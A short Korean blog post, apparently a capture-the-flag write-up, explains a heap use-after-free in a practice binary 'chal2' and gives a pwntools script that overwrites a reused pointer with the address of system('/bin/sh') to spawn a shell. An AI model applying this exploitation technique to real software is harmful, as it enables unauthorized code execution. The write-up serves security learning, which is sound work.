heap uaf- chal2
구조가 딱 보아하니
malloc->free->malloc
UAF 구만!
풀어보니,, 너무 간단!
ptr=v0이고, free(ptr)을 하기는 하지만, 다시 v2=malloc(0x14)가 이루어질 때,
ptr=v0=v2가 된다.
그래서 v2에 scanf를 받을 때! 0x4007d8을 줘서, 마지막에 ptr이 실행될때, scanf받은애가 실행되게 된다!
이때 0x4007d8부분에 system("/bin/sh")부분이 있다!
from pwn import *
sh=0x4007d8
s=process('./chal2')
#raw_input()
print s.recv(1024)
s.send("4196312\n")
s.send("\x00\x00")
print s.recv(1024)
s.interactive()
s.close()
'시스템 해킹 > cykor' 카테고리의 다른 글
chal1-heap unlink (0) | 2018.02.18 |
---|---|
First-PIE가 걸려 코드영역 주소도 바뀐경우->vsyscall이용 (0) | 2018.01.25 |
ebp-쉘코드, fake ebp, $를 이용한 fsb, fgets의 stdin망가뜨려 while문 벗어나기 (0) | 2018.01.23 |
what-fsb $를 이용한 libc릭, 스택주소릭, fini array를 메인으로 (0) | 2018.01.23 |
contact-공백이용해서 ret덮어버리는 문제 (0) | 2018.01.11 |